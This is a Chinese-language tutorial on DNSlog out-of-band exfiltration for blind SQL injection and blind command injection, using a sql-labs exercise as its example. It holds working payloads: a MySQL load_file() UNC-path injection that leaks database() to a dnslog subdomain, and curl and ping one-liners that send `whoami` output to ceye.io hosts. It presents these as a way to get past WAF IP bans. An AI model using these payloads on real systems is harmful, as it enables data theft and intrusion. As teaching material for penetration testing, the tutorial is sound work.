測試一些網站的時候,一些注入都是無回顯的,我們可以寫腳本來進行盲注,但有些網站會ban掉我們的ip,這樣我們可以通過設置ip代理池解決,
但是盲注往往效率很低,所以產生了DNSlog注入
DNSLOG的原理
DNS的解析是遞歸與迭代相結合的,下面給出了當我們訪問www.cloudcrowd.com.cn
時,DNS的解析過程示意圖。
其中,紅色部分是可控的。我們只需要搭建一個紅色部分的DNS服務器,並將要盲打或盲注的回顯,放到自己域名的二級甚至三級域名上去請求,就可以通過DNS解析日志來獲取到它們。
DNSLOG工具
如果有自己的服務器和域名,可以自建一個這樣的平台,直接使用BugScan團隊開源的工具搭建即可:
https://github.com/BugScanTeam/DNSLog。
另外我們也可以使用在線平台:
場景一:SQL盲注回顯
原理:
不論是bool型盲注還是時間型盲注,都需要頻繁的跑請求才能夠獲取數據庫中的值,在現代WAF的防護下,很可能導致IP被ban。我們可以結合DNSLOG完美快速的將數據取出。如遇到MySql的盲注時,可以利用內置函數load_file()來完成DNSLOG。load_file()不僅能夠加載本地文件,同時也能對諸如\\www.test.com
這樣的URL發起請求。dnslog回顯只能用於windows系統,原理就是'\\\\'代表Microsoft Windows通用命名規則(UNC)的文件和目錄路徑格式利用任何以下擴展存儲程序引發DNS地址解析。雙斜杠表示網絡資源路徑多加兩個\就是轉義了反斜杠。(UNC格式 \\servername\sharename ,其中 servername 是服務器名,sharename 是共享資源名)
用法:
在mysql命令行執行:select load_file('\\\\afanti.xxxx.ceye.io\\aaa');其中afanti就是要注入的查詢語句
查看平台,dnsLog被記錄下來。
舉例:
以sql-labs第五關為例
payload:
' and if((select load_file(concat('\\\\',(select database()),'.xxxx.dnslog.io\\xxx'))),1,0) --+
查看dnslog日志,發現security數據庫被查詢出來:
場景二:命令執行盲注回顯
當 ping 一個域名時會對其進行一個遞歸 DNS 查詢的過程,這個時候就能在后端獲取到 DNS 的查詢請求
curl http://haha.xxx.ceye.io/`whoami` ping `whoami`.xxxx.ceye.io Windows ping %USERNAME%.xxx.ceye.io
除了上面詳細列出的例子之外,DNSLOG還可以利用在諸如Blind XSS、Blind XXE和Blind SSRF之類的漏洞上,原理是一樣的,這樣就不演示了。
參考: